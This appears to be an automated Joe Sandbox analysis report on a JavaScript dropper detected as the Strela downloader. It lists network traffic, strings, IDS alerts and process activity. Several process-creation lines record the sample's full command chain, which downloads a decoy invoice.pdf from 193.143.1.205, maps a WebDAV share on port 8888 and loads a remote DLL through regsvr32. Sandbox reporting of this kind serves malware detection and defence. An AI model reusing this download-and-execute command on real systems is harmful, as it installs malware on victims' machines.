38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1265713597.000001D23C23C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1263851664.000001D23C24C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1265753985.000001D23C24F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1317049201.00000254A2AF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1317049201.00000254A2B2A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1317049201.00000254A2B4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1317049201.00000254A2AF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/scez
Source: svchost.exe, 0000000F.00000002.2557492868.000002AF2EC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1324637839.000002AF2EA90000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4872, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 16112188701857928577.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2708:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oc203afv.2xr.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1764,i,7619880427840652941,12373114566744920719,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1764,i,7619880427840652941,12373114566744920719,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
